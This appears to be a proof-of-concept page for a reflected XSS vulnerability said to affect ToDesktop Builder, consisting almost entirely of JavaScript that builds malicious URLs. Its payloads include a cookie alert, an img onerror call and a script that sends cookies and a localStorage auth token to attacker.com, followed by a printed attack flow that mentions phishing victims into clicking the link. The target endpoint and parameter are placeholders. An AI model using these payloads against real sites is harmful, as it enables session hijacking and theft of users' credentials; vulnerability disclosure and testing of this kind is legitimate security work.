CVE-2025-67231 | ToDesktop Builder 反射型XSS漏洞

// CVE-2025-67231 PoC - Reflected XSS in ToDesktop Builder v0.33.1 // This PoC demonstrates a reflected XSS vulnerability // Malicious URL construction const maliciousPayload = '<script>alert(document.cookie)</script>'; const vulnerableURL = `https://[todesktop-builder-host]/endpoint?param=${encodeURIComponent(maliciousPayload)}`; // Alternative payload using img tag with onerror event const imgPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)"> '; const imgVulnerableURL = `https://[todesktop-builder-host]/endpoint?param=${encodeURIComponent(imgPayload)}`; // Payload to steal session data const sessionStealPayload = '<script>fetch("https://attacker.com/log?data="+btoa(JSON.stringify({cookie:document.cookie,localStorage:localStorage.getItem("auth")})));</script>'; const sessionURL = `https://[todesktop-builder-host]/endpoint?param=${encodeURIComponent(sessionStealPayload)}`; console.log("Malicious URLs generated:"); console.log("1.", vulnerableURL); console.log("2.", imgVulnerableURL); console.log("3.", sessionURL); console.log("\nAttack flow:"); console.log("1. Attacker crafts malicious URL with XSS payload"); console.log("2. Attacker tricks victim into clicking the link (phishing, social engineering)"); console.log("3. Victim's browser sends request to vulnerable endpoint"); console.log("4. Server reflects unsanitized input in response"); console.log("5. Victim's browser executes malicious script"); console.log("6. Attacker steals cookies/session data or performs actions as victim");